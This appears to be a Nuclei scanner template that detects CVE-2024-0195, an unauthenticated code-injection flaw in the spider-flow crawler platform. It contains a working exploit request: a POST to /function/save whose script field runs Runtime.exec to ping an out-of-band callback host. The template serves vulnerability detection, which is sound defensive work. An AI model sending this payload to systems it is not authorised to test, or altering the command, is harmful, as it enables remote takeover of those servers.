id: CVE-2024-0195

info:
  name: SpiderFlow Crawler Platform - Remote Code Execution
  author: pussycat0x
  severity: critical
  description: |
    A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.
  impact: |
    Unauthenticated attackers can inject and execute arbitrary code remotely on the Spider-Flow server, leading to complete system compromise and potential access to all crawled data.
  remediation: |
    Upgrade to Spider-Flow version 0.5.0 or later that addresses this code injection vulnerability.
  reference:
    - https://github.com/Shelter1234/VulneraLab/blob/main/SpiderFlow/CVE-2024-0195/README.zh-cn.md
    - https://vuldb.com/?id.249510
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0195
    - https://vuldb.com/?ctiid.249510
    - https://github.com/Tropinene/Yscanner
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0195
    cwe-id: CWE-94
    epss-score: 0.19403
    epss-percentile: 0.97083
    cpe: cpe:2.3:a:ssssssss:spider-flow:0.4.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ssssssss
    product: "spider-flow"
    fofa-query:
      - "app=\"SpiderFlow\""
      - app="spiderflow"
  tags: cve,cve2024,spiderflow,crawler,unauth,rce,ssssssss,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'SPIDER_FLOW_VERSION'

  - raw:
      - |
        POST /function/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+{{interactsh-url}}')%3B%7B

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a004730450220484803296707e718362a99bb3ddd03bc03173a2f87e1d1c9a2732735155330a5022100bbb9e70f78496bcc8efa8e5c6876cc0572b961dc65a660951cabdfe3eab82a29:922c64590222798bb761d5b6d8e72950